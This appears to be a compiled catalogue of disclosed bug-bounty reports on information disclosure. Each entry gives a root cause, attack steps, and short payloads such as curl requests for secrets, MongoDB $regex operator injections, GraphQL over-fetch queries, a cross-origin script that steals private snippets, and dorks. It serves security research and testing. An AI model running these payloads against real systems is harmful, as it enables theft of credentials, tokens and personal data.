Insight — Missing exit-after-error is a memory-disclosure pattern: allocate-then-partially-fill-then-return-anyway. In parsers set a length/offset that makes the read short but nonzero, then read back the uninitialized buffer to harvest heap addresses.
Real-world example
Predictable md5 AJAX actions leak AUTH_KEY hash (WP Redux, CVE-2021-38314)
◆ Medium
Specimen #1351338 · mtn_group · none · 4 votes · resolved
Program mtn_groupSurface webChain info disclosure -> AUTH_KEY/SECURE_AUTH_KEY hash + plugin
Root cause
The Gutenberg Template Library & Redux Framework plugin (<=4.2.11) registers unauthenticated admin-ajax actions whose names are deterministic - md5(site_url + '-redux') and md5(that_hash + '-support') - so anyone can compute them and pull active plugins/versions, PHP version, and an unsalted md5 of AUTH_KEY.SECURE_AUTH_KEY.
Method
- Fingerprint WordPress running Redux Framework <= 4.2.11
- Compute action = md5(site_url + '-redux') (support action = md5(action + '-support'))
- Request /wp-admin/admin-ajax.php?action=<computed_hash> unauthenticated
- Read back plugin inventory, PHP version, and the AUTH_KEY/SECURE_AUTH_KEY md5
# action name = md5( "https://TARGET" + "-redux" )
curl 'https://TARGET/wp-admin/admin-ajax.php?action=e1efc9f8463379b3427645c8df923e6d'
# -> returns e.g. 037c4f460684e77a5f67fe148576121b (secret-derived hash) + plugin/PHP info
Insight — When a known-CVE plugin derives 'secret' endpoint/nonce names from a public value with a hardcoded salt, they aren't secret - recompute them. General primitive: any per-site identifier built as md5(public_value + constant_salt) is enumerable; treat it as public. Fleet-wide CVE hunting = fingerprint version + replay the deterministic request across every in-scope host.
Real-world example
Server-side PHP source embedded in a static JS bundle
◆ Medium
Specimen #1794462 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface webChain info disclosure -> leaked source/secrets aid further atta
Root cause
A build/misconfiguration caused server-side PHP source to be included verbatim inside a publicly served JavaScript file (WordPress theme main.js), potentially leaking secrets/keys and internal logic.
Method
- Download served JS bundles (theme/app main.js, vendor bundles)
- Grep them for server-side code markers and secrets
- Extract any leaked source, DB creds, or API keys
# fetch and scan static JS for embedded server-side code / secrets
curl -s https://TARGET/wp-content/themes/theme-package/dist/js/main.js | \
grep -nE '<\?php|password|secret|api[_-]?key|AUTH_KEY'
Insight — Static asset bundles are a cheap, often-overlooked source-code/secrets leak. Always pull the site's JS (and .map files) and grep for <?php, credentials, and key names - build pipelines and typos frequently splice server-side code or config into client-served files.
Real-world example
Account reactivation/reset endpoint echoes the target's real email + no rate limit = PII harvesting
◆ Medium
Specimen #235041 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
A reactivation endpoint confirms the request by displaying the account's actual email address in the response, and imposes no rate limiting, so an attacker who supplies guessed usernames (admin, etc.) harvests real emails - while the app's other flows (forgot-password) correctly keep them hidden.
Method
- Locate account-recovery/reactivation endpoints (request_reactivation, resend-activation, forgot-username).
- Submit a common/guessed username (admin, support, a known handle).
- Read the confirmation text: it may embed the account's real email ('We've sent an email to victim@...').
- Iterate a username wordlist (no rate limit) to map usernames -> emails for phishing/targeting.
- Contrast with forgot-password on the same app - the differential is the bug.
POST /account/accounts/request_reactivation/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin
# Response leaks the real address:
# "Activation Email Sent - We've sent an email to victim@example.mil ..."
Insight — Any endpoint that echoes or partially reveals the target email/phone is a disclosure oracle, not just an enumeration one. Compare every account-adjacent flow (register, reactivate, reset, resend) - the one that behaves differently (reveals existence or PII, or lacks rate limiting) is the finding.
Real-world example
Credentials in an exposed .config file on anonymous/open FTP
◆ Medium
Specimen #235216 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface networkChain exposed config -> valid FTP creds -> read access to se
Root cause
A .NET application config file (.exe.config) containing a plaintext username/password in its userSettings XML is served from an anonymously-accessible FTP directory; the leaked credentials are valid for the same FTP server.
Method
- Enumerate open/anonymous FTP and web-exposed directories for config artifacts (*.config, web.config, app.config, .env).
- Fetch the file (modern browsers open ftp:// as anonymous) and read the userSettings / connectionStrings / appSettings sections.
- Extract the username/password and test them against the exposed service (FTP:21 here).
ftp://TARGET/pub/misc/APP_Sign.exe.config
<!-- inside the file: -->
<userSettings>
<setting name="Username"><value>svc_ftp</value></setting>
<setting name="Password"><value>REDACTED</value></setting>
</userSettings>
# reuse:
ftp TARGET 21 # login with the leaked creds
Insight — .NET *.config / userSettings and connectionStrings routinely ship plaintext secrets. Anonymous FTP and open web dirs are prime hunting grounds; a leaked credential is often valid for the very host serving it.
Real-world example
API keys leaked in public CI build logs (Travis)
◆ Medium
Specimen #238890 · algolia · none · 3 votes · resolved
Program algoliaSurface webTag supply-chain
Root cause
A third-party service access key (Sauce Labs username + access_key) is echoed into publicly-readable Travis CI build logs, granting full API access to that service.
Method
- Enumerate the target org's public repos and their CI (Travis/CircleCI/GitHub Actions) build logs.
- Grep the raw log lines for secrets echoed by test/setup steps (SAUCE_ACCESS_KEY, AWS_, npm token, etc.).
- Validate the recovered key against the third-party API.
# open the raw log and jump to the echoed env line, e.g.:
https://travis-ci.org/ORG/REPO/builds/<id>#L249
# ...
# SAUCE_USERNAME=... SAUCE_ACCESS_KEY=<leaked>
# then exercise the key:
curl -u "USERNAME:ACCESS_KEY" https://saucelabs.com/rest/v1/USERNAME/users
Insight — Public CI logs are a first-class secret source: scripts that print env vars, `set -x`, or debug output expose keys that repo scanning misses. Always pull the raw (not truncated) log for in-scope orgs.
Real-world example
Unauthenticated Jira field/SLA-name disclosure (CVE-2020-14179)
◆ Medium
Specimen #1050454 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface web
Root cause
Atlassian Jira Server/Data Center before 8.5.8 (and 8.6.0-8.11.0) exposes the QueryComponent!Default.jspa endpoint to unauthenticated users, disclosing custom field names and custom SLA names.
Method
- Fingerprint Jira and its version (footer, /rest/api/2/serverInfo, login page).
- If version is in the affected range, request the endpoint unauthenticated in a browser.
- Read the returned custom field / SLA names, which reveal internal schema and process detail.
GET /secure/QueryComponent!Default.jspa HTTP/1.1
Host: TARGET
# unauthenticated -> lists custom field names and custom SLA names
Insight — Version-fingerprint known enterprise apps (Jira, Confluence, GitLab) and fire the matching public info-disclosure CVE. Even 'just field names' leaks internal taxonomy useful for follow-on attacks; the same reporter reused this exact endpoint across multiple hosts.
Real-world example
Client-controlled `query` parameter passed straight to the DB -> mass data exposure (NoSQL query injection)
◆ Medium
Specimen #1140631 · rocket_chat · none · 3 votes · resolved
Program rocket_chatSurface apiChain query-param control -> dump admin accounts/emails -> tTag api
Root cause
The users.list REST endpoint takes a JSON `query` parameter and runs Users.find(queryFromClientSide) directly, so any authenticated user with the common 'view-d-room' permission can select and read virtually the entire users collection (everything except password hashes) - effectively SQL-injection-style control over a NoSQL query (CVE-2022-32219).
Method
- Authenticate and grab X-Auth-Token / X-User-Id from storage.
- Find endpoints that accept a `query`/`filter`/`selector` parameter (Rocket.Chat has many).
- Send an arbitrary Mongo selector, e.g. {"roles":"admin"}, to enumerate privileged accounts and all their metadata/emails.
- Iterate selectors to dump the collection.
curl --location -g --request GET 'https://TARGET/api/v1/users.list?query={"roles":"admin"}' \
--header 'X-Auth-Token: TOKEN' \
--header 'X-Requested-With: XMLHttpRequest' \
--header 'X-User-Id: UID'
Insight — Any API that accepts a raw query/filter object and hands it to the database is a critical excessive-data-exposure and NoSQL-injection sink. Grep for endpoints exposing `query`, `selector`, `where`, `filter`; a permission scoped to 'can use this endpoint' is not a scope on 'what rows you can select'.
Real-world example
Google dorking for verbose SQL error pages (SQLi surface indicator)
◆ Medium
Specimen #1272095 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webChain indexed SQL error -> schema/query disclosure -> target
Root cause
Endpoints render unhandled database exceptions to users, printing SQLSTATE, datasource, vendor error code and the full SQL query; these pages get indexed and are discoverable with a targeted dork, leaking schema and signaling likely injection points.
Method
- Dork the target's domains for indexed error text.
- Open matching endpoints and read the leaked SQLSTATE / SQL query / datasource.
- Use the disclosed query structure and column names to probe for actual SQL injection.
site:target.com "sql error"
site:target.com ("SQLSTATE" OR "You have an error in your SQL syntax" OR "ORA-" OR "Unclosed quotation mark")
Insight — Verbose DB errors are both a disclosure (schema/queries) and a map to injection. Dorking for error signatures scoped to the target quickly surfaces the endpoints worth manual SQLi testing - the leaked SELECT tells you the columns to attack.
Real-world example
NoSQL injection via unvalidated Meteor method arg discloses S3 file URLs
◆ Medium
Specimen #1458020 · rocket_chat · none · 3 votes · resolved
Program rocket_chatSurface apiTag file-upload
Root cause
A server method (getS3FileUrl) passes an unvalidated client-supplied fileId straight into a Mongo findOneById lookup, so an attacker sends a query object ($regex) instead of a string and matches arbitrary documents; the returned S3 redirect URL then discloses file contents with no per-object access check.
Method
- Authenticate to a Rocket.Chat instance with S3 storage
- Invoke the Meteor method with a query-operator object instead of a string id
- Receive the S3 redirect URL for the first matching upload and fetch the file
Meteor.call(
"getS3FileUrl",
{ $regex: ".*" },
(err, url) => { window.location.href = url }
);
Insight — Any endpoint that takes an 'id' and feeds it to a Mongo query is a NoSQLi sink: replace the scalar with {"$regex":".*"}, {"$ne":null}, or {"$gt":""} to break out of the intended single-record lookup. Combine with a missing post-fetch authorization check to turn it into arbitrary object disclosure.
Real-world example
GraphQL field-level authorization gap: over-fetch by expanding the existing operation
◆ Medium
Specimen #882412 · shopify · 1500 · 2 votes · resolved
Program shopifySurface graphqlTag graphql
Root cause
Object-level access to the Order node was allowed for a low-privilege 'Customer'-only staff role, but individual sensitive fields on that node were not permission-gated; adding those fields to the same operation returns them.
Method
- Log in as staff with only 'Customer' permission (no Order permission)
- Capture the app's own GraphQL operation (OrderListInitial)
- Re-send it with many extra Order fields appended to the selection set
- Read the leaked order details (financial status, IP, email, payment gateways, etc.)
POST /admin/internal/web/graphql/core
{"operationName":"OrderListInitial","variables":{},"query":"query OrderListInitial { ordersAll: orders(first:1, reverse:true){ edges{ node{ id billingAddressMatchesShippingAddress canMarkAsPaid capturable clientIp createdAt discountCode displayFinancialStatus displayFulfillmentStatus email fullyPaid name note paymentGatewayNames phone refundable restockable unpaid __typename } } } }"}
Insight — When a role can see an object at all, test every field on that object type separately. GraphQL authorization is frequently enforced at the resolver/object level but not per-field. Take a legitimate operation the UI issues and pad its selection set with sensitive scalars from the schema (or introspection) to find field-level leaks and BFLA.
Real-world example
Known-CVE Jira endpoint leaks custom field/SLA names unauthenticated (CVE-2020-14179)
◆ Medium
Specimen #1278977 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface webChain version fingerprint -> known-CVE endpoint -> unauth me
Root cause
Unpatched Atlassian Jira exposes /secure/QueryComponent!Default.jspa to unauthenticated users, disclosing custom field names, SLA names, project/status/creator metadata (CVE-2020-14179).
Method
- Identify a Jira instance (often on a subdomain)
- Request the QueryComponent endpoint without authentication
- Read the disclosed custom field and SLA/internal field names
GET /secure/QueryComponent!Default.jspa
# or /jira/secure/QueryComponent!Default.jspa
# -> custom field names, SLA names, Project/Status/Creator/Query metadata
Insight — Fingerprint the product and version, then check the known unauth info-disclosure endpoints for it — Jira (QueryComponent, /rest/api/2/dashboard, ViewUserHover), Confluence, Jenkins, etc. Version banners/readme leaks (see #62778) feed directly into this CVE-lookup step. Leaked internal field names aid social engineering and further targeted queries.
Real-world example
Unauthenticated Jira custom field/SLA name disclosure (CVE-2020-14179)
◆ Medium
Specimen #1336397 · deptofdefense · none · 2 votes · resolved
Program deptofdefenseSurface web
Root cause
Atlassian Jira Server/Data Center exposes custom field and custom SLA names to remote unauthenticated users via /secure/QueryComponent!Default.jspa. Affected: <8.5.8 and 8.6.0-8.11.1.
Method
- Fingerprint the Jira version (page source / footer) to confirm a vulnerable build
- Request the QueryComponent endpoint unauthenticated and read the JSON of custom field + SLA names
- Use disclosed custom SLA field names to build JQL queries revealing more internal structure
GET /secure/QueryComponent!Default.jspa HTTP/1.1
Host: TARGET
Insight — On any Jira asset, always hit /secure/QueryComponent!Default.jspa unauthenticated before assuming it needs login; map the version to the CVE-2020-14179 range. Disclosed custom field names feed downstream JQL enumeration.
Real-world example
MongoDB regex operator injection for message-ID enumeration (Meteor)
◆ Medium
Specimen #1406953 · rocket_chat · none · 2 votes · resolved
Program rocket_chatSurface web
Root cause
The actionLinkHandler Meteor method passes an unvalidated messageId straight into Messages.findOne({_id: messageId}); a MongoDB query operator object like {$regex: '.*'} is accepted, turning an existence check into a boolean oracle.
Method
- Authenticate (any low-priv user)
- Call the method with a query-operator object instead of a string ID
- Observe differential error: 'invalid-message' when no match vs a different response/error when a message matches
- Extend a static regex prefix char-by-char to enumerate valid IDs (blind boolean)
Meteor.call("actionLinkHandler", "joinJitsiCall", { $regex: ".*" }, console.log);
Insight — Any Meteor method (or Mongo-backed API) that does check(x, String) loosely or not at all is injectable: pass {$regex}, {$ne}, {$gt} objects to convert lookups into enumeration/auth-bypass oracles. Watch for differential error strings as the boolean signal.
Real-world example
users.info REST API leaks other users' stored OAuth tokens (CVE-2022-32227)
◆ Medium
Specimen #1517377 · rocket_chat · none · 2 votes · resolved
Program rocket_chatSurface apiChain Leaked OAuth access/refresh tokens -> lateral access to oTag oauthTag account-takeover
Root cause
Rocket.Chat users.info returns the full user object including services.<provider> containing accessToken/idToken/refreshToken for a target user; the view-full-other-user-info permission was scoped too broadly to include identity-provider secrets.
Method
- Hold or obtain the (broadly-granted) view-full-other-user-info permission
- Create a personal access token, note token + userId
- Query users.info for another OAuth-backed user and read the returned services.<idp> tokens
curl -H "X-Auth-Token: <token>" -H "X-User-Id: <userId>" https://TARGET/api/v1/users.info?username=<victim>
Insight — When auditing user-profile / admin 'view user' APIs, diff the full JSON for nested credential blobs (services, oauth, tokens, secrets). Over-broad 'view full info' permissions routinely expose IdP access/refresh tokens usable against other SSO-connected systems.
Real-world example
Cross-origin Digest auth state leak on libcurl handle reuse (CVE-2026-11856)
◆ Medium
Specimen #3793260 · curl · none · 2 votes · resolved
Program curlSurface otherChain Reused Digest response hash -> attacker origin can captur
Root cause
Curl_pretransfer() drops initial_origin but never clears data->state.digest between curl_easy_perform() calls, so Digest auth state (realm/nonce/opaque) captured from the first origin is silently reused and sent to the next origin on a reused easy handle - even after changing CURLOPT_USERPWD.
Method
- libcurl app reuses one easy handle (documented best practice) for sequential requests
- First request authenticates via Digest to a legitimate origin
- Second request to a different (attacker) origin on the same handle re-sends a valid Digest Authorization header
- Global nc counter increments across origins, confirming state carryover; changing USERPWD still leaks the new user's hash under the old realm/nonce
CURL *c = curl_easy_init();
curl_easy_setopt(c, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);
curl_easy_setopt(c, CURLOPT_USERPWD, "alice:bond");
curl_easy_setopt(c, CURLOPT_URL, "http://legit:19001/api/me"); curl_easy_perform(c);
curl_easy_setopt(c, CURLOPT_URL, "http://attacker:19002/hook"); curl_easy_perform(c);
Insight — Stateful auth (Digest/NTLM/negotiate) tied to a connection/handle can leak across origins if the state isn't reset per transfer. When a client library keeps auth state, test whether a second request to a different host on the same session re-emits credentials; unlike redirect-based leaks this needs no -L, .netrc, proxy, or bearer.
Real-world example
Uninitialized Buffer via new Buffer(number) → heap-memory disclosure
◆ Medium
Specimen #320166 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface otherTag file-upload
Root cause
Legacy Node.js APIs call Buffer(arg); when arg is a number, old Node (<=6/<=4) returns an uninitialized buffer of that size. Libraries that pass a user-typed value straight into Buffer() leak previously-freed heap contents (or DoS on a large number).
Method
- Find a library that forwards a caller-supplied value into Buffer()/new Buffer() without coercing to string
- Pass a number (e.g. via JSON typed input where a string is expected) as the separator/stream chunk
- Output buffer contains uninitialized heap memory; a large number (1e8/1e9) causes DoS
const Concat = require('concat-with-sourcemaps');
var concat = new Concat(true, 'all.js', 234); // number separator -> Buffer(234) uninitialized
concat.add(null, '// (c) John Doe');
concat.add('file1.js', 'const a = 10;');
console.log(concat.content.toString('utf-8')); // leaks heap bytes on Node<=6
// stringstream variant: stream.write(10000) on Node 4.x
Insight — Audit npm dependencies for Buffer()/new Buffer() sinks fed by any value that can be a number through JSON/typed input. The pattern also generalizes: whenever an API accepts a length-like number where a payload string is expected, test type-confusion between 'value' and 'size'.
Real-world example
force=true param exposes all users' directory tree (CVE-2016-1499)
◆ Medium
Specimen #110655 · owncloud · awarded · 1 votes · resolved
Program owncloudSurface webChain Cross-user path listing -> also a DoS vector on deep dire
Root cause
The scan.php ajax endpoint honors a 'force=true' parameter with an empty dir, causing it to enumerate and stream back the full directory/file structure of all users, not just the caller's.
Method
- Grab a valid requesttoken and session as any normal user
- GET scan.php with force=true and an empty dir parameter
- Read the SSE event stream of folder/file paths belonging to every user
GET /index.php/apps/files/ajax/scan.php?force=true&dir=&requesttoken=<TOKEN> HTTP/1.1
Host: TARGET
Accept: text/event-stream
Insight — Boolean 'force/all/recursive/admin=true' style parameters on scan/index/sync endpoints often override scoping. Fuzz such flags and empty-scope values; the same call can flip from own-data to all-tenant data (and cause DoS on deep trees).
Real-world example
SharePoint spdisco.aspx exposes all web-service (WSDL) endpoints
◆ Medium
Specimen #920401 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface web
Root cause
SharePoint configuration allows unauthenticated/anonymous access to spdisco.aspx, which discloses the discovery document listing the locations of all SharePoint web-service (.asmx/.wsdl) endpoints.
Method
- Request spdisco.aspx on the SharePoint host unauthenticated
- Enumerate the listed .wsdl/.asmx web-service endpoints
- Probe those services for further weaknesses
GET /_vti_bin/spdisco.aspx HTTP/1.1
Host: TARGET
Insight — On SharePoint targets, request spdisco.aspx / _vti_bin/*.asmx?WSDL anonymously to map the full web-service attack surface before deeper testing. Discovery endpoints are a cheap recon primitive that often survive when the main app is locked down.
Real-world example
NoSQL operator injection ($regex) in Meteor method for blind ID enumeration
◆ Medium
Specimen #1377105 · rocket_chat · none · 1 votes · resolved
Program rocket_chatSurface api
Root cause
A Meteor server method (getReadReceipts) passes a user-supplied object straight into a MongoDB query without type/operator filtering, so an attacker substitutes a scalar messageId with a MongoDB query operator ($regex) and uses the exists-vs-error response difference as a boolean oracle to enumerate valid IDs.
Method
- Find endpoints/methods that accept a JSON object identifier and feed it into a document store (Meteor.call, GraphQL, any Mongo-backed API).
- Replace the scalar id with an operator object, e.g. {"$regex": ".*"}, to confirm operator injection.
- Turn it into a per-character oracle: server returns an empty list when a matching id exists and an error when none matches; anchor the regex and extend it character by character to recover full IDs.
Meteor.call("getReadReceipts", {
messageId: { $regex: ".*" }
}, (...args) => console.log(...args));
// per-character enumeration: { $regex: "^abc" }, extend on 'exists' response
Insight — Any parameter that reaches a NoSQL query and is not coerced to a scalar is an operator-injection sink. Swap the value for {$regex}, {$ne}, {$gt}, {$exists} and watch for a response oracle (empty vs error, 200 vs 4xx). Works over Meteor methods, JSON bodies, and even query strings where frameworks parse a[$ne]=x into an object.
Real-world example
libcurl leaks .netrc Authorization to redirected hosts via reused proxy connection (CVE-2026-6429)
◆ Medium
Specimen #3677759 · curl · none · votes · resolved
Program curlSurface otherChain proxy connection reuse -> .netrc Authorization leaked to Tag account-takeover
Root cause
When requests go through an HTTP proxy and the keep-alive proxy connection is reused across a redirect chain, libcurl keeps sending the host Authorization header derived from .netrc for the first host (a.test) to subsequent redirect hosts (b.test, c.test), because the credential is bound to the reused connection rather than re-evaluated per host.
Method
- Put .netrc credentials for only the first host (a.test)
- Route curl through an HTTP proxy; have a.test redirect to b.test then c.test
- Observe the same host Authorization: Basic ... sent to all three hosts over the reused proxy connection (same client_port)
- Confirm it disappears with CURLOPT_FORBID_REUSE=1, a fresh easy handle per request, or no proxy
# .netrc: machine a.test login userA password passA
# via proxy, a.test -> b.test -> c.test reuse one connection:
# b.test and c.test both receive: Authorization: Basic dXNlckE6cGFzc0E=
Insight — Proxy connection reuse can smear per-host credentials across redirect targets. When a client multiplexes redirects over one proxy socket, credentials should be re-derived per host; test with an attacker-controlled redirect chain behind a shared proxy and watch for leaked Authorization on hosts it was never configured for.
Real-world example
Public Postman workspace/environment leaks working internal credentials
◆ Medium
Specimen #1523651 · consensys · awarded · votes · resolved
Program consensysSurface apiChain public Postman env -> working internal credentials -> Tag cloud-aws
Root cause
A developer left a Postman workspace/environment set to public; its environment variables contained working credentials for an internal dev asset (assets-paris-dev/demo.codefi.network).
Method
- Search Postman's public search / Google for the target org, product, or internal hostnames
- Open public workspaces and inspect Environments/Collections for tokens, keys, Basic-auth
- Validate the credentials against the referenced internal endpoint
# public workspace exposes environment vars:
https://www.postman.com/<user>/workspace/<name>/environment/<id>
# variables include working creds for assets-paris-dev.TARGET
Insight — Postman public workspaces are a first-class secret source alongside GitHub. Dork 'site:postman.com TARGET' and Postman's own search for the org's collections/environments; devs paste live tokens into environment variables and forget the workspace is public.
Real-world example
Over-shared cloud drive linked from public page
◆ Medium
Specimen #864712 · zomato · 200 · 75 votes · resolved
Program zomatoSurface web
Root cause
A public page links to a Google Drive folder shared as 'anyone with the link', which contains far more than intended - including customer support call recordings exposing names, phone numbers, and orders.
Method
- Crawl the target's pages/JS for links to Google Drive, Dropbox, S3, OneDrive, etc.
- Open each shared folder and enumerate siblings/parent folders
- Flag any PII/internal files beyond the intended asset
Insight — 'Anyone with the link' cloud folders leak by over-sharing: the intended asset (a logo) sits beside recordings/exports. Grep pages and JS for drive.google.com / dropbox / s3 links and walk the folder tree.
Real-world example
Locked-screen bypass exposes server files via in-call attachment picker
◆ Medium
Specimen #1338781 · nextcloud · awarded · 9 votes · resolved
Program nextcloudSurface mobile-android
Root cause
Nextcloud Talk let an incoming call surface a message/attachment UI over the lock screen; the attachment picker could browse and share the victim's server-side files without unlocking the device (CVE-2021-41181).
Method
- Victim's phone is locked with Nextcloud Talk installed
- Attacker (2nd account) calls the victim; victim (or attacker with physical access) accepts the call from the lock screen
- Tap the message/SMS icon, then 'attach a file / share from your Nextcloud server'
- The server file browser is reachable while still locked -> file names/contents disclosed
Insight — Lock-screen surfaces (call/notification actions) are a distinct trust boundary - test whether call/notification-triggered UIs (share, attach, reply-with-media, file pickers) can reach authenticated data without unlocking. Classic lock-screen bypass pattern on mobile apps.
Real-world example
iOS session token in unprotected plist
◆ Medium
Specimen #7036 · irccloud · awarded · 6 votes · resolved
Program irccloudSurface mobile-iosTag account-takeover
Root cause
The iOS app stored the authenticated session identifier in a Preferences .plist without NSFileProtectionComplete, so the file is readable off a locked, non-jailbroken device via a data-extraction tool.
Method
- Log the victim into the app
- With the device locked, connect and dump the app's Preferences folder (e.g. iExplorer / ios-dataprotection)
- Read com.<app>.plist and extract the session identifier
- Replay the session to access the account
Insight — On mobile pentests, enumerate app files whose Data Protection class is not NSFileProtectionComplete; session tokens/secrets in plists or unprotected files are extractable without the passcode.
Real-world example
De-anonymizing anonymous submissions via a secondary rendering path (notes/avatars)
◆ Medium
Specimen #1484168 · automattic · awarded · 6 votes · resolved
Program automatticSurface web
Root cause
An 'anonymous' action stripped identity only in the primary view; a secondary view (post notes on the blog network) still rendered the submitter's avatar/blog, re-associating the identity.
Method
- Perform the anonymous action (anonymous tip) from the account under test
- Confirm it shows 'Anonymous' in the primary/dashboard view
- Open a different surface that renders the same activity (post permalink -> expand notes)
- Observe the real avatar/blog of the 'anonymous' actor is shown there
Insight — Whenever a feature promises anonymity, audit EVERY surface that renders the same event (notes, activity feeds, API responses, RSS, email notifications, avatars). Anonymity is usually only enforced on the primary path; alternate renderers leak the user_id/avatar.
Real-world example
Exception handler logs cleartext connection credentials
◆ Medium
Specimen #1652903 · nextcloud · none · 4 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
The Nextcloud SharePoint app, on exceptions during mount configuration, serialized the connection context (including username/password) into the application log in cleartext.
Method
- Trigger an error in the feature (e.g. misconfigure a SharePoint mount).
- Inspect the application log; find the connection credentials written in cleartext.
Insight — Audit error/exception paths for credential leakage: apps routinely log the full config/connection object on failure. Anyone with log access (SIEM, support, log-viewer bugs, LFI) then recovers secrets.
Real-world example
Password-reset token leaked to daemon logs on mail delivery failure
◆ Medium
Specimen #16392 · phabricator · awarded · 3 votes · resolved
Program phabricatorSurface webChain mail outage -> reset token in logs -> admin account taTag account-takeover
Root cause
When outbound mail fails, the password-reset email (including the reset link/token) is written to the mail daemon logs; anyone with log visibility can use an admin's reset link to take over the account.
Method
- Cause or wait for a transient mail outage (bad SMTP creds, firewall, provider block)
- Trigger a password reset for a privileged (admin) address
- Read the reset link from the daemon/mail logs and use it to set the admin password
Insight — On mail/SMTP errors, sensitive links (reset, verification, invite, OTP) often fall back into application/daemon logs. Check log endpoints/files and deliberately break mail delivery to see what tokens spill.
Real-world example
Debug 404 reflects all request headers incl httpOnly cookies
◆ Low
Specimen #792998 · security · awarded · 170 votes · resolved
Program securitySurface webChain header-reflecting 404 + (future) same-origin XSS -> httpO
Root cause
A 404 page (Drupal) reflected every request header, including httpOnly cookies, into a hidden #debugData element, served without X-Frame-Options/CSP.
Method
- Request a non-existent path and view source for reflected request data
- Confirm httpOnly cookies appear in the response body
- Note missing X-Frame-Options/CSP -> same-origin iframe can read it
GET /resources/read/ajax_issueWidgets_p4fg -> response contains hidden #debugData reflecting Cookie/headers
Insight — A page that reflects request headers/cookies into its body converts any same-origin XSS into an httpOnly-cookie theft primitive. Flag header-reflecting debug pages as XSS force-multipliers even when 'low' alone.
Real-world example
Alternate render (.js embed) bypasses private-object authz
◆ Low
Specimen #348443 · gitlab · 300 · 165 votes · resolved
Program gitlabSurface web
Root cause
GitLab's snippet embed feature generated a .js template only for public snippets in the view, but the controller didn't restrict the .js format for private snippets - appending .js to a private snippet's URL returned its contents cross-origin.
Method
- Note a feature (embed/export) gated only in the UI for public objects
- Append the alternate format (.js/.json) directly to a private object's URL
- Load the .js via a <script> tag on a 3rd-party site and read the injected DOM (LC1..)
- Enumerate incrementing IDs to sweep private objects
<script src="https://gitlab.com/snippets/<PRIVATE_ID>.js"></script>
<script>alert(document.getElementById('LC1').innerHTML)</script>
Insight — UI-level gating of an embed/export format doesn't mean the controller enforces it. Append .js/.json to private, auto-incrementing objects and try loading them cross-origin as a script (JSONP-style content theft).
Real-world example
Missing Cache-Control on authenticated pages -> back-button data disclosure post-logout
◆ Low
Specimen #2946927 · nextcloud · none · 113 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
Authenticated account pages were served without no-store/no-cache; after logout the browser back button re-rendered the cached page exposing name/email to a subsequent user of the same machine.
Method
- Log in and load a page with PII
- Log out
- Press browser Back -> cached authenticated page reappears without re-auth
// missing on authenticated responses:
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Insight — Check for no-store/no-cache on authenticated pages; without it, Back button / shared-computer scenarios disclose PII after logout. Low severity but consistently accepted.
Real-world example
Public Google Calendar OSINT via harvested employee emails
◆ Low
Specimen #489284 · shopify · 1000 · 111 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Employees left personal Google Calendars public; combined with email harvesting, an attacker adds those calendars and reads internal meeting details, joinable Zoom links, and interview schedules.
Method
- Harvest @company.com emails (Hunter.io API, crt.sh, dorks)
- In Google Calendar, add each address via 'add other people's calendar'
- Read public calendars for meeting titles, Zoom join links, interviews, presentation URLs
# enumerate emails, then for each: Google Calendar -> 'Add calendar' -> address@company.com
Insight — Employee-set public Google Calendars are a cheap OSINT win; pair email enumeration with calendar lookups to surface joinable meeting links and internal schedules - a recon step, not an app bug.
Real-world example
Exposed Prometheus /metrics endpoint on subdomain
◆ Low
Specimen #1365076 · 8x8-bounty · none · 92 votes · resolved
Program 8x8-bountySurface web
Root cause
A public subdomain exposed an unauthenticated /metrics endpoint (Prometheus/monitoring), leaking internal telemetry, request routes, and infrastructure details.
Method
- Across all subdomains, probe monitoring/telemetry paths
- Request /metrics (also /actuator/prometheus, /debug/vars, /status)
- Harvest internal endpoint names, versions, and infra signals from the output
GET https://fax.wavecell.com/metrics # unauth Prometheus metrics
# also try: /actuator/prometheus /debug/vars /status /healthz
Insight — Fuzz /metrics and framework monitoring endpoints on every subdomain - they are frequently left unauthenticated and disclose internal routes, hostnames, and versions that seed further recon. This report itself was reproduced by copying a technique from another public report.
Real-world example
Account password emailed in cleartext on signup
◆ Low
Specimen #2337938 · sheer_bbp · USD 200 · 84 votes · resolved
Program sheer_bbpSurface web
Root cause
After signup the backend emailed the user's chosen password in cleartext (present in the email HTML/source though not shown in the UI), exposing it to mail-path interception and mailbox compromise.
Method
- Sign up for an account
- Open the welcome/confirmation email and view source (F12 / raw message)
- Observe the plaintext password embedded in the message body
# inspect welcome email raw source for the plaintext credential
(password present in email HTML even when hidden in rendered UI)
Insight — Always read transactional emails (welcome, reset, invoice) in raw form - apps commonly leak passwords, tokens, or one-time links in cleartext there. Rendered UI hiding a value does not mean it isn't in the payload.
Real-world example
Recovering undisclosed numeric values via metadata side-channels
◆ Low
Specimen #696266 · security · USD 500 · 84 votes · resolved
Program securitySurface web
Root cause
A value a program intended to keep private (individual bounty amount) leaks through adjacent derived metadata: the aggregate 'bounties paid in last 90 days' stat, a searchable amount filter, and the activity feed's rendered bonus - each lets the hidden number be reconstructed even though it is absent from the report JSON.
Method
- Snapshot the aggregate stat (e.g. bounties paid in last 90 days) before and after a new bounty
- Subtract successive totals to derive the single undisclosed amount
- Alternatively, use a search/hacktivity filter like total_awarded_amount:<X> and binary-search X until the report matches
- Or read the value from a UI surface (activity feed bonus) that renders it despite it being stripped from the API JSON
# math side-channel
undisclosed_amount = old_90day_total - new_90day_total
# filter side-channel (binary search the hidden value)
hacktivity filter: total_awarded_amount:10000
Insight — When a field is 'hidden' by omission from one response, hunt every derived/aggregate/filter/UI surface for it - sums, counts, search filters, and activity feeds frequently reconstruct the exact value. Differential (before/after) and filter-oracle techniques generalize to any hidden numeric.
Real-world example
Metadata fields leak existence/timing of hidden activity
◆ Low
Specimen #724944 · security · awarded · 79 votes · resolved
